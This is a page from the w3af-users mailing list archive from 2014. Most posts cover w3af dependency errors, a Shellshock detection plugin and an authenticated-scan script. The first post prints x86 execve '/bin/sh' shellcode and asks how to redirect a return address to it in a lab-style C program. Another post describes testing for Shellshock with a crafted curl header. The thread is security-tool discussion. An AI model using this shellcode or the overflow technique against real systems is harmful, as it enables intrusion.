w3af-users Mailing List for w3af (Page 7)
Status: Beta
Brought to you by:
andresriancho
Menu
▾
▴
w3af-users — User mailing list
You can subscribe to this list here.
| 2007 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(6) |
Jul
(11) |
Aug
|
Sep
(9) |
Oct
(40) |
Nov
(20) |
Dec
(10) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2008 |
Jan
(77) |
Feb
(36) |
Mar
(54) |
Apr
(142) |
May
(37) |
Jun
(37) |
Jul
(71) |
Aug
(44) |
Sep
(15) |
Oct
(85) |
Nov
(61) |
Dec
(68) |
| 2009 |
Jan
(44) |
Feb
(41) |
Mar
(55) |
Apr
(18) |
May
(52) |
Jun
(51) |
Jul
(32) |
Aug
(21) |
Sep
(22) |
Oct
(28) |
Nov
(30) |
Dec
(11) |
| 2010 |
Jan
(6) |
Feb
(39) |
Mar
(28) |
Apr
(13) |
May
(29) |
Jun
(14) |
Jul
(28) |
Aug
(25) |
Sep
(19) |
Oct
(38) |
Nov
(40) |
Dec
(31) |
| 2011 |
Jan
(34) |
Feb
(36) |
Mar
(23) |
Apr
(27) |
May
(32) |
Jun
(48) |
Jul
(17) |
Aug
(25) |
Sep
(13) |
Oct
(16) |
Nov
(42) |
Dec
(39) |
| 2012 |
Jan
(15) |
Feb
(32) |
Mar
(37) |
Apr
(49) |
May
(10) |
Jun
(14) |
Jul
(9) |
Aug
(31) |
Sep
(27) |
Oct
(15) |
Nov
(24) |
Dec
(10) |
| 2013 |
Jan
(4) |
Feb
(33) |
Mar
(33) |
Apr
(31) |
May
(16) |
Jun
(31) |
Jul
(12) |
Aug
(43) |
Sep
(6) |
Oct
(21) |
Nov
(24) |
Dec
(15) |
| 2014 |
Jan
(8) |
Feb
(9) |
Mar
(42) |
Apr
(40) |
May
(37) |
Jun
(15) |
Jul
(30) |
Aug
(8) |
Sep
(20) |
Oct
(7) |
Nov
(1) |
Dec
(1) |
| 2015 |
Jan
(3) |
Feb
(11) |
Mar
(2) |
Apr
|
May
(3) |
Jun
(4) |
Jul
|
Aug
(5) |
Sep
(4) |
Oct
(4) |
Nov
(12) |
Dec
(11) |
| 2016 |
Jan
(5) |
Feb
|
Mar
|
Apr
|
May
(2) |
Jun
(2) |
Jul
(2) |
Aug
|
Sep
(17) |
Oct
(16) |
Nov
(7) |
Dec
|
| 2017 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(2) |
Jun
|
Jul
|
Aug
|
Sep
(2) |
Oct
|
Nov
|
Dec
|
| 2018 |
Jan
|
Feb
|
Mar
(2) |
Apr
(6) |
May
(4) |
Jun
|
Jul
|
Aug
(2) |
Sep
(2) |
Oct
|
Nov
|
Dec
|
| 2019 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
(3) |
Jun
(4) |
Jul
|
Aug
|
Sep
(2) |
Oct
(3) |
Nov
|
Dec
|
| 2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: hadi <alm...@ho...> - 2014-10-07 19:33:17
|
Im using linux and I have c program, I would like to change the return
address to point to my shellcode, im unable to do it.
Can someone point to me how to do it with linux gdb debugger.
Here is my shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc
2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Here is my c program
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
|
|
From: Ali K. <ali...@gm...> - 2014-10-06 09:35:03
|
I've been through this, the lazy way out is just to comment out the dependency_check() call in the w3af_console code (line 13 in the version I have), not the best way of doing it since you risk running it without knowing if you have all the dependencies, but if that's the only one left then I say you don't really need it. On 07/15/2014 02:55 PM, Andres Riancho wrote: > What happens if you just run "sudo pip install phply==0.9.1" ? > > On Tue, Jul 15, 2014 at 5:19 AM, Aman Thakur <ama...@gm...> wrote: >> Hello Everyone, >> >> I have updated my w3af directory contents using the "git pull" command. But >> the w3af is not working after the update. I am getting these error as below: >> >> when is did ./w3af_console to start w3af, i got this message below: >> >> (Your python installation needs the following modules to run w3af: >> phply >> >> >> After installing any missing operating system packages, use pip to install >> the remaining modules: >> sudo pip install phply==0.9.1 >> >> A script with these commands has been created for you at >> /tmp/w3af_dependency_install.sh) >> >> and when i tried to execute the script it created, >> ./w3af_dependency_install.sh it gave me another error again as below: >> >> Downloading/unpacking phply==0.9.1 >> Running setup.py egg_info for package phply >> >> Requirement already satisfied (use --upgrade to upgrade): ply in >> /usr/local/lib/python2.7/dist-packages (from phply==0.9.1) >> Installing collected packages: phply >> Found existing installation: phply dev >> Can't uninstall 'phply'. No files were found to uninstall. >> Running setup.py install for phply >> >> Skipping installation of >> /usr/local/lib/python2.7/dist-packages/phply/__init__.py (namespace package) >> Installing /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth >> Successfully installed phply >> Cleaning up... >> >> any ideas what could be the problem? and how to fix that?? >> >> Thanks >> >> Regards >> Aman >> >> ------------------------------------------------------------------------------ >> Want fast and easy access to all the code in your enterprise? Index and >> search up to 200,000 lines of code with a free copy of Black Duck >> Code Sight - the same software that powers the world's largest code >> search on Ohloh, the Black Duck Open Hub! Try it now. >> http://p.sf.net/sfu/bds >> _______________________________________________ >> W3af-users mailing list >> W3a...@li... >> https://lists.sourceforge.net/lists/listinfo/w3af-users >> > > > |
|
From: Andres R. <and...@gm...> - 2014-09-26 13:08:00
|
List,
Just finished my shell shock exploit [0], feel free to improve it
and send me pull requests.
[0] https://gist.github.com/andresriancho/1a259f01312c0c5ddd1e
Regards,
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Ali K. <ali...@gm...> - 2014-09-25 18:05:02
|
thanks, I was wondering I tried with pinc -c 1 , and ping -c 30 didn't notice any difference , would that be significant ? -------- Original Message -------- Subject: Re: [W3af-users] Shell shock plugin for w3af: Done! From: Andres Riancho <and...@gm...> To: Ali Khalfan <ali...@gm...> CC: "w3a...@li..." <w3a...@li...> Date: Thu Sep 25 2014 20:19:36 GMT+0300 (AST) > Ali, > > You can use curl -H"test: ..." http://foo.com/ to verify > > Replace ... with the bash exploit > > On Thu, Sep 25, 2014 at 2:11 PM, Ali Khalfan <ali...@gm...> wrote: >> Andres, >> Is there a way I could manually verify a url? (as in using Nmap or wget and >> checking the response) >> >> I did it twice on a url and once it says it was vulnerable and the other >> says it wasn't >> >> On ٢٥ سبتمبر، ٢٠١٤ ٧:١٨:٣٦ م GMT+03:00, Andres Riancho >> <and...@gm...> wrote: >>> >>> Check the github repository issues, mailing list, etc. This issue (for >>> mac?) has workarounds documented somewhere >>> >>> On Thu, Sep 25, 2014 at 1:04 PM, Ali Khalfan <ali...@gm...> >>> wrote: >>>> >>>> i keep trying to run the git version of w3af and it says that phply is >>>> missing, yet I have it: >>>> >>>> >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info >>>> /usr/local/lib/python2.7/dist-packages/phply.egg-link >>>> /usr/local/lib/python2.7/dist-packages/phply/phpast.py >>>> /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc >>>> /usr/local/lib/python2.7/dist-packages/phply/phplex.py >>>> /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply/phpparse.py >>>> /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc >>>> /usr/local/lib/python2.7/dist-packages/phply/pythonast.py >>>> /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt >>>> >>>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt >>>> >>>> >>>> On >>>> 09/25/2014 03:22 PM, Andres Riancho wrote: >>>>> >>>>> List, >>>>> >>>>> Take a look at the w3af plugin I've just finished coding [0], it >>>>> detects shell shock vulnerabilities by using time delays. Pull >>>>> requests with improvements are welcome :) >>>>> >>>>> [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 >>>>> >>>>> Regards, >>>> >>>> >>>> >>>> ________________________________ >>>> >>>> Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer >>>> Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS Reports >>>> Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper >>>> Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer >>>> >>>> http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk >>>> ________________________________ >>>> >>>> W3af-users mailing list >>>> W3a...@li... >>>> https://lists.sourceforge.net/lists/listinfo/w3af-users >>> >>> >>> >> >> -- >> Sent from my Android device with K-9 Mail. Please excuse my brevity. > > > |
|
From: Andres R. <and...@gm...> - 2014-09-25 17:20:03
|
Ali, You can use curl -H"test: ..." http://foo.com/ to verify Replace ... with the bash exploit On Thu, Sep 25, 2014 at 2:11 PM, Ali Khalfan <ali...@gm...> wrote: > Andres, > Is there a way I could manually verify a url? (as in using Nmap or wget and > checking the response) > > I did it twice on a url and once it says it was vulnerable and the other > says it wasn't > > On ٢٥ سبتمبر، ٢٠١٤ ٧:١٨:٣٦ م GMT+03:00, Andres Riancho > <and...@gm...> wrote: >> >> Check the github repository issues, mailing list, etc. This issue (for >> mac?) has workarounds documented somewhere >> >> On Thu, Sep 25, 2014 at 1:04 PM, Ali Khalfan <ali...@gm...> >> wrote: >>> >>> i keep trying to run the git version of w3af and it says that phply is >>> missing, yet I have it: >>> >>> >>> >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info >>> /usr/local/lib/python2.7/dist-packages/phply.egg-link >>> /usr/local/lib/python2.7/dist-packages/phply/phpast.py >>> /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc >>> /usr/local/lib/python2.7/dist-packages/phply/phplex.py >>> /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc >>> >>> /usr/local/lib/python2.7/dist-packages/phply/phpparse.py >>> /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc >>> /usr/local/lib/python2.7/dist-packages/phply/pythonast.py >>> /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt >>> >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt >>> >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt >>> >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt >>> >>> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt >>> >>> >>> On >>> 09/25/2014 03:22 PM, Andres Riancho wrote: >>>> >>>> List, >>>> >>>> Take a look at the w3af plugin I've just finished coding [0], it >>>> detects shell shock vulnerabilities by using time delays. Pull >>>> requests with improvements are welcome :) >>>> >>>> [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 >>>> >>>> Regards, >>> >>> >>> >>> ________________________________ >>> >>> Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer >>> Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS Reports >>> Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper >>> Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer >>> >>> http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk >>> ________________________________ >>> >>> W3af-users mailing list >>> W3a...@li... >>> https://lists.sourceforge.net/lists/listinfo/w3af-users >> >> >> > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. -- Andrés Riancho Project Leader at w3af - http://w3af.org/ Web Application Attack and Audit Framework Twitter: @w3af GPG: 0x93C344F3 |
|
From: Ali K. <ali...@gm...> - 2014-09-25 17:11:41
|
Andres, Is there a way I could manually verify a url? (as in using Nmap or wget and checking the response) I did it twice on a url and once it says it was vulnerable and the other says it wasn't On ٢٥ سبتمبر، ٢٠١٤ ٧:١٨:٣٦ م GMT+03:00, Andres Riancho <and...@gm...> wrote: >Check the github repository issues, mailing list, etc. This issue (for >mac?) has workarounds documented somewhere > >On Thu, Sep 25, 2014 at 1:04 PM, Ali Khalfan <ali...@gm...> >wrote: >> i keep trying to run the git version of w3af and it says that phply >is >> missing, yet I have it: >> >> >> >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info >> /usr/local/lib/python2.7/dist-packages/phply.egg-link >> /usr/local/lib/python2.7/dist-packages/phply/phpast.py >> /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc >> /usr/local/lib/python2.7/dist-packages/phply/phplex.py >> /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc >> /usr/local/lib/python2.7/dist-packages/phply/phpparse.py >> /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc >> /usr/local/lib/python2.7/dist-packages/phply/pythonast.py >> /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt >> >/usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt >> >> >> On 09/25/2014 03:22 PM, Andres Riancho wrote: >>> List, >>> >>> Take a look at the w3af plugin I've just finished coding [0], it >>> detects shell shock vulnerabilities by using time delays. Pull >>> requests with improvements are welcome :) >>> >>> [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 >>> >>> Regards, >>> >> >> >------------------------------------------------------------------------------ >> Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer >> Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS >Reports >> Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper >> Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer >> >http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk >> _______________________________________________ >> W3af-users mailing list >> W3a...@li... >> https://lists.sourceforge.net/lists/listinfo/w3af-users > > > >-- >Andrés Riancho >Project Leader at w3af - http://w3af.org/ >Web Application Attack and Audit Framework >Twitter: @w3af >GPG: 0x93C344F3 -- Sent from my Android device with K-9 Mail. Please excuse my brevity. |
|
From: Ali K. <ali...@gm...> - 2014-09-25 16:20:16
|
nah kali, i just commented out the dependency_check line in the console .... -------- Original Message -------- Subject: Re: [W3af-users] Shell shock plugin for w3af: Done! From: Andres Riancho <and...@gm...> To: Ali Khalfan <ali...@gm...> CC: "w3a...@li..." <w3a...@li...> Date: Thu Sep 25 2014 19:18:36 GMT+0300 (AST) > Check the github repository issues, mailing list, etc. This issue (for > mac?) has workarounds documented somewhere > > On Thu, Sep 25, 2014 at 1:04 PM, Ali Khalfan <ali...@gm...> wrote: >> i keep trying to run the git version of w3af and it says that phply is >> missing, yet I have it: >> >> >> >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info >> /usr/local/lib/python2.7/dist-packages/phply.egg-link >> /usr/local/lib/python2.7/dist-packages/phply/phpast.py >> /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc >> /usr/local/lib/python2.7/dist-packages/phply/phplex.py >> /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc >> /usr/local/lib/python2.7/dist-packages/phply/phpparse.py >> /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc >> /usr/local/lib/python2.7/dist-packages/phply/pythonast.py >> /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt >> /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt >> >> >> On 09/25/2014 03:22 PM, Andres Riancho wrote: >>> List, >>> >>> Take a look at the w3af plugin I've just finished coding [0], it >>> detects shell shock vulnerabilities by using time delays. Pull >>> requests with improvements are welcome :) >>> >>> [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 >>> >>> Regards, >>> >> >> ------------------------------------------------------------------------------ >> Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer >> Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS Reports >> Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper >> Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer >> http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk >> _______________________________________________ >> W3af-users mailing list >> W3a...@li... >> https://lists.sourceforge.net/lists/listinfo/w3af-users > > > |
|
From: Andres R. <and...@gm...> - 2014-09-25 16:19:04
|
Check the github repository issues, mailing list, etc. This issue (for mac?) has workarounds documented somewhere On Thu, Sep 25, 2014 at 1:04 PM, Ali Khalfan <ali...@gm...> wrote: > i keep trying to run the git version of w3af and it says that phply is > missing, yet I have it: > > > > /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info > /usr/local/lib/python2.7/dist-packages/phply.egg-link > /usr/local/lib/python2.7/dist-packages/phply/phpast.py > /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc > /usr/local/lib/python2.7/dist-packages/phply/phplex.py > /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc > /usr/local/lib/python2.7/dist-packages/phply/phpparse.py > /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc > /usr/local/lib/python2.7/dist-packages/phply/pythonast.py > /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt > /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt > > > On 09/25/2014 03:22 PM, Andres Riancho wrote: >> List, >> >> Take a look at the w3af plugin I've just finished coding [0], it >> detects shell shock vulnerabilities by using time delays. Pull >> requests with improvements are welcome :) >> >> [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 >> >> Regards, >> > > ------------------------------------------------------------------------------ > Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer > Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS Reports > Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper > Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer > http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk > _______________________________________________ > W3af-users mailing list > W3a...@li... > https://lists.sourceforge.net/lists/listinfo/w3af-users -- Andrés Riancho Project Leader at w3af - http://w3af.org/ Web Application Attack and Audit Framework Twitter: @w3af GPG: 0x93C344F3 |
|
From: Ali K. <ali...@gm...> - 2014-09-25 16:04:48
|
i keep trying to run the git version of w3af and it says that phply is missing, yet I have it: /usr/local/lib/python2.7/dist-packages/phply-0.9.1-nspkg.pth /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info /usr/local/lib/python2.7/dist-packages/phply.egg-link /usr/local/lib/python2.7/dist-packages/phply/phpast.py /usr/local/lib/python2.7/dist-packages/phply/phpast.pyc /usr/local/lib/python2.7/dist-packages/phply/phplex.py /usr/local/lib/python2.7/dist-packages/phply/phplex.pyc /usr/local/lib/python2.7/dist-packages/phply/phpparse.py /usr/local/lib/python2.7/dist-packages/phply/phpparse.pyc /usr/local/lib/python2.7/dist-packages/phply/pythonast.py /usr/local/lib/python2.7/dist-packages/phply/pythonast.pyc /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/PKG-INFO /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/SOURCES.txt /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/dependency_links.txt /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/installed-files.txt /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/namespace_packages.txt /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/not-zip-safe /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/requires.txt /usr/local/lib/python2.7/dist-packages/phply-0.9.1.egg-info/top_level.txt On 09/25/2014 03:22 PM, Andres Riancho wrote: > List, > > Take a look at the w3af plugin I've just finished coding [0], it > detects shell shock vulnerabilities by using time delays. Pull > requests with improvements are welcome :) > > [0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94 > > Regards, > |
|
From: Andres R. <and...@gm...> - 2014-09-25 12:22:27
|
List,
Take a look at the w3af plugin I've just finished coding [0], it
detects shell shock vulnerabilities by using time delays. Pull
requests with improvements are welcome :)
[0] https://gist.github.com/andresriancho/4ef11d75c1f517c24f94
Regards,
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Andres R. <and...@gm...> - 2014-09-23 11:12:57
|
Don't have the time to reproduce now, but I believe that you might be
hitting this bug:
https://github.com/andresriancho/w3af/issues/4391
Could you talk with "foobarmonk" to try to solve this?
On Tue, Sep 23, 2014 at 7:42 AM, Ali Khalfan <ali...@gm...> wrote:
> Hi Andres,
>
> I've tried performing an authenticated web scan, but i noticed that the URLs
> are being crawled.
>
> I ran tcpdump to check, and discovered that the authentication is not taking
> place at all.
>
>
>
> This is my w3af script with the authentication test:
>
>
> #
> -----------------------------------------------------------------------------------------------------------
> # W3AF AUDIT SCRIPT FOR WEB
> APPLICATION
> #
> -----------------------------------------------------------------------------------------------------------
> #Configure HTTP settings
> http-settings
> set timeout 30
> back
> #Configure scanner global behaviors
> misc-settings
> set max_discovery_time 20
> set fuzz_cookies True
> set fuzz_form_files True
> set fuzz_url_parts True
> set fuzz_url_filenames True
> back
> plugins
> #Configure entry point (CRAWLING) scanner
> crawl web_spider
> crawl config web_spider
> set only_forward True
> set ignore_regex (?i)(logout|disconnect|signout|exit)+
> back
> #Configure vulnerability scanners
> ##Specify list of AUDIT plugins type to use
> #audit blind_sqli, buffer_overflow, cors_origin, csrf, eval, file_upload,
> ldapi, lfi, os_commanding, phishing_vector, redos, response_splitting, sqli,
> xpath, xss, xst
> audit blind_sqli, cors_origin, csrf, eval, ldapi, lfi, response_splitting,
> sqli, xpath, xss, xst
> ##Customize behavior of each audit plugin when needed
> audit config file_upload
> #set extensions
> jsp,php,php2,php3,php4,php5,asp,aspx,pl,cfm,rb,py,sh,ksh,csh,bat,ps,exe
> set extensions jsp,php,php2,php3,php4,php5
> back
> ##Specify list of GREP plugins type to use (grep plugin is a type of plugin
> that can find also vulnerabilities or informations disclosure)
> grep analyze_cookies, click_jacking, code_disclosure, cross_domain_js, csp,
> directory_indexing, dom_xss, error_500, error_pages,
> html_comments, objects, path_disclosure, private_ip, strange_headers,
> strange_http_codes, strange_parameters, strange_reason, url_session,
> xss_protection_header
> ##Specify list of INFRASTRUCTURE plugins type to use (infrastructure plugin
> is a type of plugin that can find informations disclosure)
> infrastructure server_header, server_status, domain_dot, dot_net_errors
> #Configure target authentication
> auth detailed
> auth config detailed
> set username super
> set password super
> set method POST
> set auth_url http://xyz.com/test-panel/index.php
> set username_field user_id
> set password_field pwd
> set check_url http://xyz.com/test-panel/home.php
> set check_string 'Logout'
> set data_format username=%U&password=%P&Login=Login
> back
> #Configure reporting in order to generate an HTML report
> output console, html_file
> output config html_file
> set output_file /tmp/W3afReport.html
> set verbose True
> back
> output config console
> set verbose False
> back
> back
> #Set target informations, do a cleanup and run the scan
> target
> set target http://xyz.com/test-panel/index.php
> set target_os windows
> set target_framework php
> back
> cleanup
> start
>
> ------------------------------------------------------------------------------
> Meet PCI DSS 3.0 Compliance Requirements with EventLog Analyzer
> Achieve PCI DSS 3.0 Compliant Status with Out-of-the-box PCI DSS Reports
> Are you Audit-Ready for PCI DSS 3.0 Compliance? Download White paper
> Comply to PCI DSS 3.0 Requirement 10 and 11.5 with EventLog Analyzer
> http://pubads.g.doubleclick.net/gampad/clk?id=154622311&iu=/4140/ostg.clktrk
> _______________________________________________
> W3af-users mailing list
> W3a...@li...
> https://lists.sourceforge.net/lists/listinfo/w3af-users
>
--
Andrés Riancho
Project Leader at w3af - http://w3af.org/
Web Application Attack and Audit Framework
Twitter: @w3af
GPG: 0x93C344F3
|
|
From: Ali K. <ali...@gm...> - 2014-09-23 10:42:34
|
Hi Andres, I've tried performing an authenticated web scan, but i noticed that the URLs are being crawled. I ran tcpdump to check, and discovered that the authentication is not taking place at all. This is my w3af script with the authentication test: # ----------------------------------------------------------------------------------------------------------- # W3AF AUDIT SCRIPT FOR WEB APPLICATION # ----------------------------------------------------------------------------------------------------------- #Configure HTTP settings http-settings set timeout 30 back #Configure scanner global behaviors misc-settings set max_discovery_time 20 set fuzz_cookies True set fuzz_form_files True set fuzz_url_parts True set fuzz_url_filenames True back plugins #Configure entry point (CRAWLING) scanner crawl web_spider crawl config web_spider set only_forward True set ignore_regex (?i)(logout|disconnect|signout|exit)+ back #Configure vulnerability scanners ##Specify list of AUDIT plugins type to use #audit blind_sqli, buffer_overflow, cors_origin, csrf, eval, file_upload, ldapi, lfi, os_commanding, phishing_vector, redos, response_splitting, sqli, xpath, xss, xst audit blind_sqli, cors_origin, csrf, eval, ldapi, lfi, response_splitting, sqli, xpath, xss, xst ##Customize behavior of each audit plugin when needed audit config file_upload #set extensions jsp,php,php2,php3,php4,php5,asp,aspx,pl,cfm,rb,py,sh,ksh,csh,bat,ps,exe set extensions jsp,php,php2,php3,php4,php5 back ##Specify list of GREP plugins type to use (grep plugin is a type of plugin that can find also vulnerabilities or informations disclosure) grep analyze_cookies, click_jacking, code_disclosure, cross_domain_js, csp, directory_indexing, dom_xss, error_500, error_pages, html_comments, objects, path_disclosure, private_ip, strange_headers, strange_http_codes, strange_parameters, strange_reason, url_session, xss_protection_header ##Specify list of INFRASTRUCTURE plugins type to use (infrastructure plugin is a type of plugin that can find informations disclosure) infrastructure server_header, server_status, domain_dot, dot_net_errors #Configure target authentication auth detailed auth config detailed set username super set password super set method POST set auth_url http://xyz.com/test-panel/index.php set username_field user_id set password_field pwd set check_url http://xyz.com/test-panel/home.php set check_string 'Logout' set data_format username=%U&password=%P&Login=Login back #Configure reporting in order to generate an HTML report output console, html_file output config html_file set output_file /tmp/W3afReport.html set verbose True back output config console set verbose False back back #Set target informations, do a cleanup and run the scan target set target http://xyz.com/test-panel/index.php set target_os windows set target_framework php back cleanup start |
|
From: Ali K. <ali...@gm...> - 2014-09-23 10:08:57
|
